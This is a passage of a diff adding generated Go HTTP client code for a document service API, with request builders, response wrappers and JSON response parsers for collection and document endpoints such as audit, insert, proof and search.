err != nil { + return nil, err + } + return c.Client.Do(req) +} + +func (c *Client) DocumentServiceDocumentAuditWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) { + req, err := NewDocumentServiceDocumentAuditRequestWithBody(c.Server, contentType, body) + if err != nil { + return nil, err + } + req = req.WithContext(ctx) + if err := c.applyEditors(ctx, req, reqEditors); err != nil { + return nil, err + } + return c.Client.Do(req) +} + +func (c *Client) DocumentServiceDocumentAudit(ctx context.Context, body DocumentServiceDocumentAuditJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) { + req, err := NewDocumentServiceDocumentAuditRequest(c.Server, body) + if err != nil { + return nil, err + } + req = req.WithContext(ctx) + if err := c.applyEditors(ctx, req, reqEditors); err != nil { + return nil, err + } + return c.Client.Do(req) +} + +func (c *Client) DocumentServiceDocumentInsertWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) { + req, err := NewDocumentServiceDocumentInsertRequestWithBody(c.Server, contentType, body) + if err != nil { + return nil, err + } + req = req.WithContext(ctx) + if err := c.applyEditors(ctx, req, reqEditors); err != nil { + return nil, err + } + return c.Client.Do(req) +} + +func (c *Client) DocumentServiceDocumentInsert(ctx context.Context, body DocumentServiceDocumentInsertJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) { + req, err := NewDocumentServiceDocumentInsertRequest(c.Server, body) + if err != nil { + return nil, err + } + req = req.WithContext(ctx) + if err := c.applyEditors(ctx, req, reqEditors); err != nil { + return nil, err + } + return c.Client.Do(req) +} + +func (c *Client) DocumentServiceDocumentProofWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) { + req, err := NewDocumentServiceDocumentProofRequestWithBody(c.Server, contentType, body) + if err != nil { + return nil, err + } + req = req.WithContext(ctx) + if err := c.applyEditors(ctx, req, reqEditors); err != nil { + return nil, err + } + return c.Client.Do(req) +} + +func (c *Client) DocumentServiceDocumentProof(ctx context.Context, body DocumentServiceDocumentProofJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) { + req, err := NewDocumentServiceDocumentProofRequest(c.Server, body) + if err != nil { + return nil, err + } + req = req.WithContext(ctx) + if err := c.applyEditors(ctx, req, reqEditors); err != nil { + return nil, err + } + return c.Client.Do(req) +} + +func (c *Client) DocumentServiceDocumentSearchWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) { + req, err := NewDocumentServiceDocumentSearchRequestWithBody(c.Server, contentType, body) + if err != nil { + return nil, err + } + req = req.WithContext(ctx) + if err := c.applyEditors(ctx, req, reqEditors); err != nil { + return nil, err + } + return c.Client.Do(req) +} + +func (c *Client) DocumentServiceDocumentSearch(ctx context.Context, body DocumentServiceDocumentSearchJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) { + req, err := NewDocumentServiceDocumentSearchRequest(c.Server, body) + if err != nil { + return nil, err + } + req = req.WithContext(ctx) + if err := c.applyEditors(ctx, req, reqEditors); err != nil { + return nil, err + } + return c.Client.Do(req) +} + +// NewDocumentServiceCollectionCreateRequest calls the generic DocumentServiceCollectionCreate builder with application/json body +func NewDocumentServiceCollectionCreateRequest(server string, body DocumentServiceCollectionCreateJSONRequestBody) (*http.Request, error) { + var bodyReader io.Reader + buf, err := json.Marshal(body) + if err != nil { + return nil, err + } + bodyReader = bytes.NewReader(buf) + return NewDocumentServiceCollectionCreateRequestWithBody(server, "application/json", bodyReader) +} + +// NewDocumentServiceCollectionCreateRequestWithBody generates requests for DocumentServiceCollectionCreate with any type of body +func NewDocumentServiceCollectionCreateRequestWithBody(server string, contentType string, body io.Reader) (*http.Request, error) { + var err error + + serverURL, err := url.Parse(server) + if err != nil { + return nil, err + } + + operationPath := fmt.Sprintf("/collections/create") + if operationPath[0] == '/' { + operationPath = "." + operationPath + } + + queryURL, err := serverURL.Parse(operationPath) + if err != nil { + return nil, err + } + + req, err := http.NewRequest("PUT", queryURL.String(), body) + if err != nil { + return nil, err + } + + req.Header.Add("Content-Type", contentType) + + return req, nil +} + +// NewDocumentServiceCollectionDeleteRequest generates requests for DocumentServiceCollectionDelete +func NewDocumentServiceCollectionDeleteRequest(server string, params *DocumentServiceCollectionDeleteParams) (*http.Request, error) { + var err error + + serverURL, err := url.Parse(server) + if err != nil { + return nil, err + } + + operationPath := fmt.Sprintf("/collections/delete") + if operationPath[0] == '/' { + operationPath = "." + operationPath + } + + queryURL, err := serverURL.Parse(operationPath) + if err != nil { + return nil, err + } + + queryValues := queryURL.Query() + + if params.Name != nil { + + if queryFrag, err := runtime.StyleParamWithLocation("form", true, "name", runtime.ParamLocationQuery, *params.Name); err != nil { + return nil, err + } else if parsed, err := url.ParseQuery(queryFrag); err != nil { + return nil, err + } else { + for k, v := range parsed { + for _, v2 := range v { + queryValues.Add(k, v2) + } + } + } + + } + + queryURL.RawQuery = queryValues.Encode() + + req, err := http.NewRequest("DELETE", queryURL.String(), nil) + if err != nil { + return nil, err + } + + return req, nil +} + +// NewDocumentServiceCollectionGetRequest generates requests for DocumentServiceCollectionGet +func NewDocumentServiceCollectionGetRequest(server string, params *DocumentServiceCollectionGetParams) (*http.Request, error) { + var err error + + serverURL, err := url.Parse(server) + if err != nil { + return nil, err + } + + operationPath := fmt.Sprintf("/collections/get") + if operationPath[0] == '/' { + operationPath = "." + operationPath + } + + queryURL, err := serverURL.Parse(operationPath) + if err != nil { + return nil, err + } + + queryValues := queryURL.Query() + + if params.Name != nil { + + if queryFrag, err := runtime.StyleParamWithLocation("form", true, "name", runtime.ParamLocationQuery, *params.Name); err != nil { + return nil, err + } else if parsed, err := url.ParseQuery(queryFrag); err != nil { + return nil, err + } else { + for k, v := range parsed { + for _, v2 := range v { + queryValues.Add(k, v2) + } + } + } + + } + + queryURL.RawQuery = queryValues.Encode() + + req, err := http.NewRequest("GET", queryURL.String(), nil) + if err != nil { + return nil, err + } + + return req, nil +} + +// NewDocumentServiceCollectionListRequest calls the generic DocumentServiceCollectionList builder with application/json body +func NewDocumentServiceCollectionListRequest(server string, body DocumentServiceCollectionListJSONRequestBody) (*http.Request, error) { + var bodyReader io.Reader + buf, err := json.Marshal(body) + if err != nil { + return nil, err + } + bodyReader = bytes.NewReader(buf) + return NewDocumentServiceCollectionListRequestWithBody(server, "application/json", bodyReader) +} + +// NewDocumentServiceCollectionListRequestWithBody generates requests for DocumentServiceCollectionList with any type of body +func NewDocumentServiceCollectionListRequestWithBody(server string, contentType string, body io.Reader) (*http.Request, error) { + var err error + + serverURL, err := url.Parse(server) + if err != nil { + return nil, err + } + + operationPath := fmt.Sprintf("/collections/list") + if operationPath[0] == '/' { + operationPath = "." + operationPath + } + + queryURL, err := serverURL.Parse(operationPath) + if err != nil { + return nil, err + } + + req, err := http.NewRequest("POST", queryURL.String(), body) + if err != nil { + return nil, err + } + + req.Header.Add("Content-Type", contentType) + + return req, nil +} + +// NewDocumentServiceDocumentAuditRequest calls the generic DocumentServiceDocumentAudit builder with application/json body +func NewDocumentServiceDocumentAuditRequest(server string, body DocumentServiceDocumentAuditJSONRequestBody) (*http.Request, error) { + var bodyReader io.Reader + buf, err := json.Marshal(body) + if err != nil { + return nil, err + } + bodyReader = bytes.NewReader(buf) + return NewDocumentServiceDocumentAuditRequestWithBody(server, "application/json", bodyReader) +} + +// NewDocumentServiceDocumentAuditRequestWithBody generates requests for DocumentServiceDocumentAudit with any type of body +func NewDocumentServiceDocumentAuditRequestWithBody(server string, contentType string, body io.Reader) (*http.Request, error) { + var err error + + serverURL, err := url.Parse(server) + if err != nil { + return nil, err + } + + operationPath := fmt.Sprintf("/documents/audit") + if operationPath[0] == '/' { + operationPath = "." + operationPath + } + + queryURL, err := serverURL.Parse(operationPath) + if err != nil { + return nil, err + } + + req, err := http.NewRequest("POST", queryURL.String(), body) + if err != nil { + return nil, err + } + + req.Header.Add("Content-Type", contentType) + + return req, nil +} + +// NewDocumentServiceDocumentInsertRequest calls the generic DocumentServiceDocumentInsert builder with application/json body +func NewDocumentServiceDocumentInsertRequest(server string, body DocumentServiceDocumentInsertJSONRequestBody) (*http.Request, error) { + var bodyReader io.Reader + buf, err := json.Marshal(body) + if err != nil { + return nil, err + } + bodyReader = bytes.NewReader(buf) + return NewDocumentServiceDocumentInsertRequestWithBody(server, "application/json", bodyReader) +} + +// NewDocumentServiceDocumentInsertRequestWithBody generates requests for DocumentServiceDocumentInsert with any type of body +func NewDocumentServiceDocumentInsertRequestWithBody(server string, contentType string, body io.Reader) (*http.Request, error) { + var err error + + serverURL, err := url.Parse(server) + if err != nil { + return nil, err + } + + operationPath := fmt.Sprintf("/documents/insert") + if operationPath[0] == '/' { + operationPath = "." + operationPath + } + + queryURL, err := serverURL.Parse(operationPath) + if err != nil { + return nil, err + } + + req, err := http.NewRequest("PUT", queryURL.String(), body) + if err != nil { + return nil, err + } + + req.Header.Add("Content-Type", contentType) + + return req, nil +} + +// NewDocumentServiceDocumentProofRequest calls the generic DocumentServiceDocumentProof builder with application/json body +func NewDocumentServiceDocumentProofRequest(server string, body DocumentServiceDocumentProofJSONRequestBody) (*http.Request, error) { + var bodyReader io.Reader + buf, err := json.Marshal(body) + if err != nil { + return nil, err + } + bodyReader = bytes.NewReader(buf) + return NewDocumentServiceDocumentProofRequestWithBody(server, "application/json", bodyReader) +} + +// NewDocumentServiceDocumentProofRequestWithBody generates requests for DocumentServiceDocumentProof with any type of body +func NewDocumentServiceDocumentProofRequestWithBody(server string, contentType string, body io.Reader) (*http.Request, error) { + var err error + + serverURL, err := url.Parse(server) + if err != nil { + return nil, err + } + + operationPath := fmt.Sprintf("/documents/proof") + if operationPath[0] == '/' { + operationPath = "." + operationPath + } + + queryURL, err := serverURL.Parse(operationPath) + if err != nil { + return nil, err + } + + req, err := http.NewRequest("POST", queryURL.String(), body) + if err != nil { + return nil, err + } + + req.Header.Add("Content-Type", contentType) + + return req, nil +} + +// NewDocumentServiceDocumentSearchRequest calls the generic DocumentServiceDocumentSearch builder with application/json body +func NewDocumentServiceDocumentSearchRequest(server string, body DocumentServiceDocumentSearchJSONRequestBody) (*http.Request, error) { + var bodyReader io.Reader + buf, err := json.Marshal(body) + if err != nil { + return nil, err + } + bodyReader = bytes.NewReader(buf) + return NewDocumentServiceDocumentSearchRequestWithBody(server, "application/json", bodyReader) +} + +// NewDocumentServiceDocumentSearchRequestWithBody generates requests for DocumentServiceDocumentSearch with any type of body +func NewDocumentServiceDocumentSearchRequestWithBody(server string, contentType string, body io.Reader) (*http.Request, error) { + var err error + + serverURL, err := url.Parse(server) + if err != nil { + return nil, err + } + + operationPath := fmt.Sprintf("/documents/search") + if operationPath[0] == '/' { + operationPath = "." + operationPath + } + + queryURL, err := serverURL.Parse(operationPath) + if err != nil { + return nil, err + } + + req, err := http.NewRequest("POST", queryURL.String(), body) + if err != nil { + return nil, err + } + + req.Header.Add("Content-Type", contentType) + + return req, nil +} + +func (c *Client) applyEditors(ctx context.Context, req *http.Request, additionalEditors []RequestEditorFn) error { + for _, r := range c.RequestEditors { + if err := r(ctx, req); err != nil { + return err + } + } + for _, r := range additionalEditors { + if err := r(ctx, req); err != nil { + return err + } + } + return nil +} + +// ClientWithResponses builds on ClientInterface to offer response payloads +type ClientWithResponses struct { + ClientInterface +} + +// NewClientWithResponses creates a new ClientWithResponses, which wraps +// Client with return type handling +func NewClientWithResponses(server string, opts ...ClientOption) (*ClientWithResponses, error) { + client, err := NewClient(server, opts...) + if err != nil { + return nil, err + } + return &ClientWithResponses{client}, nil +} + +// WithBaseURL overrides the baseURL. +func WithBaseURL(baseURL string) ClientOption { + return func(c *Client) error { + newBaseURL, err := url.Parse(baseURL) + if err != nil { + return err + } + c.Server = newBaseURL.String() + return nil + } +} + +// ClientWithResponsesInterface is the interface specification for the client with responses above. +type ClientWithResponsesInterface interface { + // DocumentServiceCollectionCreate request with any body + DocumentServiceCollectionCreateWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*DocumentServiceCollectionCreateResponse, error) + + DocumentServiceCollectionCreateWithResponse(ctx context.Context, body DocumentServiceCollectionCreateJSONRequestBody, reqEditors ...RequestEditorFn) (*DocumentServiceCollectionCreateResponse, error) + + // DocumentServiceCollectionDelete request + DocumentServiceCollectionDeleteWithResponse(ctx context.Context, params *DocumentServiceCollectionDeleteParams, reqEditors ...RequestEditorFn) (*DocumentServiceCollectionDeleteResponse, error) + + // DocumentServiceCollectionGet request + DocumentServiceCollectionGetWithResponse(ctx context.Context, params *DocumentServiceCollectionGetParams, reqEditors ...RequestEditorFn) (*DocumentServiceCollectionGetResponse, error) + + // DocumentServiceCollectionList request with any body + DocumentServiceCollectionListWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*DocumentServiceCollectionListResponse, error) + + DocumentServiceCollectionListWithResponse(ctx context.Context, body DocumentServiceCollectionListJSONRequestBody, reqEditors ...RequestEditorFn) (*DocumentServiceCollectionListResponse, error) + + // DocumentServiceDocumentAudit request with any body + DocumentServiceDocumentAuditWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*DocumentServiceDocumentAuditResponse, error) + + DocumentServiceDocumentAuditWithResponse(ctx context.Context, body DocumentServiceDocumentAuditJSONRequestBody, reqEditors ...RequestEditorFn) (*DocumentServiceDocumentAuditResponse, error) + + // DocumentServiceDocumentInsert request with any body + DocumentServiceDocumentInsertWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*DocumentServiceDocumentInsertResponse, error) + + DocumentServiceDocumentInsertWithResponse(ctx context.Context, body DocumentServiceDocumentInsertJSONRequestBody, reqEditors ...RequestEditorFn) (*DocumentServiceDocumentInsertResponse, error) + + // DocumentServiceDocumentProof request with any body + DocumentServiceDocumentProofWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*DocumentServiceDocumentProofResponse, error) + + DocumentServiceDocumentProofWithResponse(ctx context.Context, body DocumentServiceDocumentProofJSONRequestBody, reqEditors ...RequestEditorFn) (*DocumentServiceDocumentProofResponse, error) + + // DocumentServiceDocumentSearch request with any body + DocumentServiceDocumentSearchWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*DocumentServiceDocumentSearchResponse, error) + + DocumentServiceDocumentSearchWithResponse(ctx context.Context, body DocumentServiceDocumentSearchJSONRequestBody, reqEditors ...RequestEditorFn) (*DocumentServiceDocumentSearchResponse, error) +} + +type DocumentServiceCollectionCreateResponse struct { + Body []byte + HTTPResponse *http.Response + JSON200 *DocumentschemaCollectionCreateResponse + JSONDefault *RuntimeError +} + +// Status returns HTTPResponse.Status +func (r DocumentServiceCollectionCreateResponse) Status() string { + if r.HTTPResponse != nil { + return r.HTTPResponse.Status + } + return http.StatusText(0) +} + +// StatusCode returns HTTPResponse.StatusCode +func (r DocumentServiceCollectionCreateResponse) StatusCode() int { + if r.HTTPResponse != nil { + return r.HTTPResponse.StatusCode + } + return 0 +} + +type DocumentServiceCollectionDeleteResponse struct { + Body []byte + HTTPResponse *http.Response + JSON200 *DocumentschemaCollectionDeleteResponse + JSONDefault *RuntimeError +} + +// Status returns HTTPResponse.Status +func (r DocumentServiceCollectionDeleteResponse) Status() string { + if r.HTTPResponse != nil { + return r.HTTPResponse.Status + } + return http.StatusText(0) +} + +// StatusCode returns HTTPResponse.StatusCode +func (r DocumentServiceCollectionDeleteResponse) StatusCode() int { + if r.HTTPResponse != nil { + return r.HTTPResponse.StatusCode + } + return 0 +} + +type DocumentServiceCollectionGetResponse struct { + Body []byte + HTTPResponse *http.Response + JSON200 *DocumentschemaCollectionGetResponse + JSONDefault *RuntimeError +} + +// Status returns HTTPResponse.Status +func (r DocumentServiceCollectionGetResponse) Status() string { + if r.HTTPResponse != nil { + return r.HTTPResponse.Status + } + return http.StatusText(0) +} + +// StatusCode returns HTTPResponse.StatusCode +func (r DocumentServiceCollectionGetResponse) StatusCode() int { + if r.HTTPResponse != nil { + return r.HTTPResponse.StatusCode + } + return 0 +} + +type DocumentServiceCollectionListResponse struct { + Body []byte + HTTPResponse *http.Response + JSON200 *DocumentschemaCollectionListResponse + JSONDefault *RuntimeError +} + +// Status returns HTTPResponse.Status +func (r DocumentServiceCollectionListResponse) Status() string { + if r.HTTPResponse != nil { + return r.HTTPResponse.Status + } + return http.StatusText(0) +} + +// StatusCode returns HTTPResponse.StatusCode +func (r DocumentServiceCollectionListResponse) StatusCode() int { + if r.HTTPResponse != nil { + return r.HTTPResponse.StatusCode + } + return 0 +} + +type DocumentServiceDocumentAuditResponse struct { + Body []byte + HTTPResponse *http.Response + JSON200 *DocumentschemaDocumentAuditResponse + JSONDefault *RuntimeError +} + +// Status returns HTTPResponse.Status +func (r DocumentServiceDocumentAuditResponse) Status() string { + if r.HTTPResponse != nil { + return r.HTTPResponse.Status + } + return http.StatusText(0) +} + +// StatusCode returns HTTPResponse.StatusCode +func (r DocumentServiceDocumentAuditResponse) StatusCode() int { + if r.HTTPResponse != nil { + return r.HTTPResponse.StatusCode + } + return 0 +} + +type DocumentServiceDocumentInsertResponse struct { + Body []byte + HTTPResponse *http.Response + JSON200 *DocumentschemaDocumentInsertResponse + JSONDefault *RuntimeError +} + +// Status returns HTTPResponse.Status +func (r DocumentServiceDocumentInsertResponse) Status() string { + if r.HTTPResponse != nil { + return r.HTTPResponse.Status + } + return http.StatusText(0) +} + +// StatusCode returns HTTPResponse.StatusCode +func (r DocumentServiceDocumentInsertResponse) StatusCode() int { + if r.HTTPResponse != nil { + return r.HTTPResponse.StatusCode + } + return 0 +} + +type DocumentServiceDocumentProofResponse struct { + Body []byte + HTTPResponse *http.Response + JSON200 *DocumentschemaDocumentProofResponse + JSONDefault *RuntimeError +} + +// Status returns HTTPResponse.Status +func (r DocumentServiceDocumentProofResponse) Status() string { + if r.HTTPResponse != nil { + return r.HTTPResponse.Status + } + return http.StatusText(0) +} + +// StatusCode returns HTTPResponse.StatusCode +func (r DocumentServiceDocumentProofResponse) StatusCode() int { + if r.HTTPResponse != nil { + return r.HTTPResponse.StatusCode + } + return 0 +} + +type DocumentServiceDocumentSearchResponse struct { + Body []byte + HTTPResponse *http.Response + JSON200 *DocumentschemaDocumentSearchResponse + JSONDefault *RuntimeError +} + +// Status returns HTTPResponse.Status +func (r DocumentServiceDocumentSearchResponse) Status() string { + if r.HTTPResponse != nil { + return r.HTTPResponse.Status + } + return http.StatusText(0) +} + +// StatusCode returns HTTPResponse.StatusCode +func (r DocumentServiceDocumentSearchResponse) StatusCode() int { + if r.HTTPResponse != nil { + return r.HTTPResponse.StatusCode + } + return 0 +} + +// DocumentServiceCollectionCreateWithBodyWithResponse request with arbitrary body returning *DocumentServiceCollectionCreateResponse +func (c *ClientWithResponses) DocumentServiceCollectionCreateWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*DocumentServiceCollectionCreateResponse, error) { + rsp, err := c.DocumentServiceCollectionCreateWithBody(ctx, contentType, body, reqEditors...) + if err != nil { + return nil, err + } + return ParseDocumentServiceCollectionCreateResponse(rsp) +} + +func (c *ClientWithResponses) DocumentServiceCollectionCreateWithResponse(ctx context.Context, body DocumentServiceCollectionCreateJSONRequestBody, reqEditors ...RequestEditorFn) (*DocumentServiceCollectionCreateResponse, error) { + rsp, err := c.DocumentServiceCollectionCreate(ctx, body, reqEditors...) + if err != nil { + return nil, err + } + return ParseDocumentServiceCollectionCreateResponse(rsp) +} + +// DocumentServiceCollectionDeleteWithResponse request returning *DocumentServiceCollectionDeleteResponse +func (c *ClientWithResponses) DocumentServiceCollectionDeleteWithResponse(ctx context.Context, params *DocumentServiceCollectionDeleteParams, reqEditors ...RequestEditorFn) (*DocumentServiceCollectionDeleteResponse, error) { + rsp, err := c.DocumentServiceCollectionDelete(ctx, params, reqEditors...) + if err != nil { + return nil, err + } + return ParseDocumentServiceCollectionDeleteResponse(rsp) +} + +// DocumentServiceCollectionGetWithResponse request returning *DocumentServiceCollectionGetResponse +func (c *ClientWithResponses) DocumentServiceCollectionGetWithResponse(ctx context.Context, params *DocumentServiceCollectionGetParams, reqEditors ...RequestEditorFn) (*DocumentServiceCollectionGetResponse, error) { + rsp, err := c.DocumentServiceCollectionGet(ctx, params, reqEditors...) + if err != nil { + return nil, err + } + return ParseDocumentServiceCollectionGetResponse(rsp) +} + +// DocumentServiceCollectionListWithBodyWithResponse request with arbitrary body returning *DocumentServiceCollectionListResponse +func (c *ClientWithResponses) DocumentServiceCollectionListWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*DocumentServiceCollectionListResponse, error) { + rsp, err := c.DocumentServiceCollectionListWithBody(ctx, contentType, body, reqEditors...) + if err != nil { + return nil, err + } + return ParseDocumentServiceCollectionListResponse(rsp) +} + +func (c *ClientWithResponses) DocumentServiceCollectionListWithResponse(ctx context.Context, body DocumentServiceCollectionListJSONRequestBody, reqEditors ...RequestEditorFn) (*DocumentServiceCollectionListResponse, error) { + rsp, err := c.DocumentServiceCollectionList(ctx, body, reqEditors...) + if err != nil { + return nil, err + } + return ParseDocumentServiceCollectionListResponse(rsp) +} + +// DocumentServiceDocumentAuditWithBodyWithResponse request with arbitrary body returning *DocumentServiceDocumentAuditResponse +func (c *ClientWithResponses) DocumentServiceDocumentAuditWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*DocumentServiceDocumentAuditResponse, error) { + rsp, err := c.DocumentServiceDocumentAuditWithBody(ctx, contentType, body, reqEditors...) + if err != nil { + return nil, err + } + return ParseDocumentServiceDocumentAuditResponse(rsp) +} + +func (c *ClientWithResponses) DocumentServiceDocumentAuditWithResponse(ctx context.Context, body DocumentServiceDocumentAuditJSONRequestBody, reqEditors ...RequestEditorFn) (*DocumentServiceDocumentAuditResponse, error) { + rsp, err := c.DocumentServiceDocumentAudit(ctx, body, reqEditors...) + if err != nil { + return nil, err + } + return ParseDocumentServiceDocumentAuditResponse(rsp) +} + +// DocumentServiceDocumentInsertWithBodyWithResponse request with arbitrary body returning *DocumentServiceDocumentInsertResponse +func (c *ClientWithResponses) DocumentServiceDocumentInsertWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*DocumentServiceDocumentInsertResponse, error) { + rsp, err := c.DocumentServiceDocumentInsertWithBody(ctx, contentType, body, reqEditors...) + if err != nil { + return nil, err + } + return ParseDocumentServiceDocumentInsertResponse(rsp) +} + +func (c *ClientWithResponses) DocumentServiceDocumentInsertWithResponse(ctx context.Context, body DocumentServiceDocumentInsertJSONRequestBody, reqEditors ...RequestEditorFn) (*DocumentServiceDocumentInsertResponse, error) { + rsp, err := c.DocumentServiceDocumentInsert(ctx, body, reqEditors...) + if err != nil { + return nil, err + } + return ParseDocumentServiceDocumentInsertResponse(rsp) +} + +// DocumentServiceDocumentProofWithBodyWithResponse request with arbitrary body returning *DocumentServiceDocumentProofResponse +func (c *ClientWithResponses) DocumentServiceDocumentProofWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*DocumentServiceDocumentProofResponse, error) { + rsp, err := c.DocumentServiceDocumentProofWithBody(ctx, contentType, body, reqEditors...) + if err != nil { + return nil, err + } + return ParseDocumentServiceDocumentProofResponse(rsp) +} + +func (c *ClientWithResponses) DocumentServiceDocumentProofWithResponse(ctx context.Context, body DocumentServiceDocumentProofJSONRequestBody, reqEditors ...RequestEditorFn) (*DocumentServiceDocumentProofResponse, error) { + rsp, err := c.DocumentServiceDocumentProof(ctx, body, reqEditors...) + if err != nil { + return nil, err + } + return ParseDocumentServiceDocumentProofResponse(rsp) +} + +// DocumentServiceDocumentSearchWithBodyWithResponse request with arbitrary body returning *DocumentServiceDocumentSearchResponse +func (c *ClientWithResponses) DocumentServiceDocumentSearchWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*DocumentServiceDocumentSearchResponse, error) { + rsp, err := c.DocumentServiceDocumentSearchWithBody(ctx, contentType, body, reqEditors...) + if err != nil { + return nil, err + } + return ParseDocumentServiceDocumentSearchResponse(rsp) +} + +func (c *ClientWithResponses) DocumentServiceDocumentSearchWithResponse(ctx context.Context, body DocumentServiceDocumentSearchJSONRequestBody, reqEditors ...RequestEditorFn) (*DocumentServiceDocumentSearchResponse, error) { + rsp, err := c.DocumentServiceDocumentSearch(ctx, body, reqEditors...) + if err != nil { + return nil, err + } + return ParseDocumentServiceDocumentSearchResponse(rsp) +} + +// ParseDocumentServiceCollectionCreateResponse parses an HTTP response from a DocumentServiceCollectionCreateWithResponse call +func ParseDocumentServiceCollectionCreateResponse(rsp *http.Response) (*DocumentServiceCollectionCreateResponse, error) { + bodyBytes, err := io.ReadAll(rsp.Body) + defer func() { _ = rsp.Body.Close() }() + if err != nil { + return nil, err + } + + response := &DocumentServiceCollectionCreateResponse{ + Body: bodyBytes, + HTTPResponse: rsp, + } + + switch { + case strings.Contains(rsp.Header.Get("Content-Type"), "json") && rsp.StatusCode == 200: + var dest DocumentschemaCollectionCreateResponse + if err := json.Unmarshal(bodyBytes, &dest); err != nil { + return nil, err + } + response.JSON200 = &dest + + case strings.Contains(rsp.Header.Get("Content-Type"), "json") && true: + var dest RuntimeError + if err := json.Unmarshal(bodyBytes, &dest); err != nil { + return nil, err + } + response.JSONDefault = &dest + + } + + return response, nil +} + +// ParseDocumentServiceCollectionDeleteResponse parses an HTTP response from a DocumentServiceCollectionDeleteWithResponse call +func ParseDocumentServiceCollectionDeleteResponse(rsp *http.Response) (*DocumentServiceCollectionDeleteResponse, error) { + bodyBytes, err := io.ReadAll(rsp.Body) + defer func() { _ = rsp.Body.Close() }() + if err != nil { + return nil, err + } + + response := &DocumentServiceCollectionDeleteResponse{ + Body: bodyBytes, + HTTPResponse: rsp, + } + + switch { + case strings.Contains(rsp.Header.Get("Content-Type"), "json") && rsp.StatusCode == 200: + var dest DocumentschemaCollectionDeleteResponse + if err := json.Unmarshal(bodyBytes, &dest); err != nil { + return nil, err + } + response.JSON200 = &dest + + case strings.Contains(rsp.Header.Get("Content-Type"), "json") && true: + var dest RuntimeError + if err := json.Unmarshal(bodyBytes, &dest); err != nil { + return nil, err + } + response.JSONDefault = &dest + + } + + return response, nil +} + +// ParseDocumentServiceCollectionGetResponse parses an HTTP response from a DocumentServiceCollectionGetWithResponse call +func ParseDocumentServiceCollectionGetResponse(rsp *http.Response) (*DocumentServiceCollectionGetResponse, error) { + bodyBytes, err := io.ReadAll(rsp.Body) + defer func() { _ = rsp.Body.Close() }() + if err != nil { + return nil, err + } + + response := &DocumentServiceCollectionGetResponse{ + Body: bodyBytes, + HTTPResponse: rsp, + } + + switch { + case strings.Contains(rsp.Header.Get("Content-Type"), "json") && rsp.StatusCode == 200: + var dest DocumentschemaCollectionGetResponse + if err := json.Unmarshal(bodyBytes, &dest); err != nil { + return nil, err + } + response.JSON200 = &dest + + case strings.Contains(rsp.Header.Get("Content-Type"), "json") && true: + var dest RuntimeError + if err := json.Unmarshal(bodyBytes, &dest); err != nil { + return nil, err + } + response.JSONDefault = &dest + + } + + return response, nil +} + +// ParseDocumentServiceCollectionListResponse parses an HTTP response from a DocumentServiceCollectionListWithResponse call +func ParseDocumentServiceCollectionListResponse(rsp *http.Response) (*DocumentServiceCollectionListResponse, error) { + bodyBytes, err := io.ReadAll(rsp.Body) + defer func() { _ = rsp.Body.Close() }() + if err != nil { + return nil, err + } + + response := &DocumentServiceCollectionListResponse{ + Body: bodyBytes, + HTTPResponse: rsp, + } + + switch { + case strings.Contains(rsp.Header.Get("Content-Type"), "json") && rsp.StatusCode == 200: + var dest DocumentschemaCollectionListResponse + if err := json.Unmarshal(bodyBytes, &dest); err != nil { + return nil, err + } + response.JSON200 = &dest + + case strings.Contains(rsp.Header.Get("Content-Type"), "json") && true: + var dest RuntimeError + if err := json.Unmarshal(bodyBytes, &dest); err != nil { + return nil, err + } + response.JSONDefault = &dest + + } + + return response, nil +} + +// ParseDocumentServiceDocumentAuditResponse parses an HTTP response from a DocumentServiceDocumentAuditWithResponse call +func ParseDocumentServiceDocumentAuditResponse(rsp *http.Response) (*DocumentServiceDocumentAuditResponse, error) { + bodyBytes, err := io.ReadAll(rsp.Body) + defer func() { _ = rsp.Body.Close() }() + if err != nil { + return nil, err + } + + response := &DocumentServiceDocumentAuditResponse{ + Body: bodyBytes, + HTTPResponse: rsp, + } + + switch { + case strings.Contains(rsp.Header.Get("Content-Type"), "json") && rsp.StatusCode == 200: + var dest DocumentschemaDocumentAuditResponse + if err := json.Unmarshal(bodyBytes, &dest); err != nil { + return nil, err + } + response.JSON200 = &dest + + case strings.Contains(rsp.Header.Get("Content-Type"), "json") && true: + var dest RuntimeError + if err := json.Unmarshal(bodyBytes, &dest); err != nil { + return nil, err + } + response.JSONDefault = &dest + + } + + return response, nil +} + +// ParseDocumentServiceDocumentInsertResponse parses an HTTP response from a DocumentServiceDocumentInsertWithResponse call +func ParseDocumentServiceDocumentInsertResponse(rsp *http.Response) (*DocumentServiceDocumentInsertResponse, error) { + bodyBytes, err := io.ReadAll(rsp.Body) + defer func() { _ = rsp.Body.Close() }() + if err != nil { + return nil, err + } + + response := &DocumentServiceDocumentInsertResponse{ + Body: bodyBytes, + HTTPResponse: rsp, + } + + switch { + case strings.Contains(rsp.Header.Get("Content-Type"), "json") && rsp.StatusCode == 200: + var dest DocumentschemaDocumentInsertResponse + if err := json.Unmarshal(bodyBytes, &dest); err != nil { + return nil, err + } + response.JSON200 = &dest + + case 